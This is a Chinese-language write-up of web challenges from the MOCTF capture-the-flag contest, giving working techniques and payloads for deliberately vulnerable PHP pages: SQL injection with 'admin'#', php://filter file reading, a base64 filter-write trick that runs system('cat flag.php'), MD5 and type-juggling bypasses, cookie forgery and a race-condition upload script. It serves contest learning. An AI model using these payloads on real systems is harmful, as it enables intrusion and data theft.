CTF

MOCTF WriteUp

2018-12-26  本文已影响49人  Eumenides_62ac

网址

MOCTF

Web

一道水题

F12查看源码直接得到。

还是水题

F12修改下maxlengthdisabled再提交moctf即可。

访问限制

进去要求满足:

只允许使用NAIVE浏览器访问!
只允许香港记者访问!

用BP改下User-Agent:NAIVEAccept-Language:zh-HK即可。

机器蛇

F12提示有robots.txt,得到flag327a6c4304ad5938eaf0efb6cc3e53dc.php,访问F12得到flag。

PHP黑魔法

提示用源码,访问:/index.php~。F12得到源码。

<?php

    $flag="moctf{**************}";
    
    if (isset($_GET['a'])&&isset($_GET['b'])) {
        $a=$_GET['a'];
        $b=$_GET['b'];


        if($a==$b) 
        {
            echo "<center>Wrong Answer!</center>";
        }
        else {
            if(md5($a)==md5($b)) 
            {
                echo "<center>".$flag."</center>"; 
                echo "By:daoyuan";
            }
            else echo "<center>Wrong Answer!</center>";
        }
        
    }
    else echo "<center>濂藉儚灏戜簡鐐逛粈涔�</center>"; 
?>

构造payload:?a[]=1&b[]=2
得到flag。

我想要钱

给了源码:

<?php
    include "flag.php";
    highlight_file(__FILE__);

    if (isset($_GET['money'])) {
        $money=$_GET['money'];
        if(strlen($money)<=4&&$money>time()&&!is_array($money))
        {
            echo $flag;
            echo "<!--By:daoyuan-->";
        }
        else echo "Wrong Answer!";
    }
    else echo "Wrong Answer!";
?>

给个科学计数法的数字即可:?money=1e99

登录就对了

简单的sql注入。使用万能密码进入即可:

usernmae=admin'#
password=123

文件包含

进入看到url变成:/index.php?file=welcome.txt
尝试发现flag.php。直接用伪协议来读源码好了。
使用payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
base64解码后就可以得到flag。

暴跳老板

提示要给老板发邮件。
BP里构造:


暴躁老板.png

Flag在哪?

超多301跳转。访问flagfrog.php即可。

美味的饼干

F12在网络里看到cookie字段有一串base64编码,解码后得ee11cbb19052e40b07aac0ca060c23ee。去somd5解码得到时user
admin先md5后base64编码,再用BP发过去就好了。

没时间解释了

这是一道条件竞争题。
302抓包访问uploadsomething.php
这道题就是通过条件竞争漏洞来强制上传我们的php文件。
在Burpsuite中把请求给Intruder模块


payload选择Null payloads

线程设置20

再写个python脚本不断去请求就可以得到flag。
import requests

url = 'http://119.23.73.3:5006/web2/uploads/8894fa8eb7ab38cf32e6287023cde2d702cd1e98/1.php'
while True:
    res = requests.get(url)
    if 'ctf' in res.text:
        print(res.text)

死亡退出

访问给了源码:

 <?php
  show_source(__FILE__);
  $c="<?php exit;?>";
  @$c.=$_POST['c'];
  @$filename=$_POST['file']; 
  if(!isset($filename))                    
  {                                       
    file_put_contents('tmp.php', ''); 
  }                                 
  @file_put_contents($filename, $c);
  include('tmp.php');
?>

绕过<?php exit;?>,而base64编码会把<?;>过滤掉。file_put_contents会利用到php伪协议来读取文件流。
所以先把<?php system('cat flag.php'); ?>base64编码成:PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=
最后构造payload:

?c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=&file=php://filter/write=convert.base64-decode/resource=tmp.php

这样<?php exit;?>aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==base64decode之后会变成^?Z<?php system('cat flag.php');?>,从而绕过。
POST后F12得到Flag。

火眼金睛

写Python就完事儿了:

import requests
import re


url = 'http://119.23.73.3:5001/web10/'
s = requests.Session()
res = s.get(url)
answer = re.findall("moctf",res.text)
num = len(answer)-1
print(num)
url = 'http://119.23.73.3:5001/web10/work.php'
res = s.post(url,data={'answer':num})
print(res.text)

unset

给了源码:

<?php
highlight_file('index.php');
function waf($a){
foreach($a as $key => $value){
        if(preg_match('/flag/i',$key)){
        exit('are you a hacker');
}
}
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
        if($$__R) { 
        foreach($$__R as $__k => $__v) { 
            if(isset($$__k) && $$__k == $__v) unset($$__k); 
        }
     }

}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['daiker']){
        exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['daiker'])){
        include($_GET['file']);
}
}

?>
上一篇 下一篇

猜你喜欢

热点阅读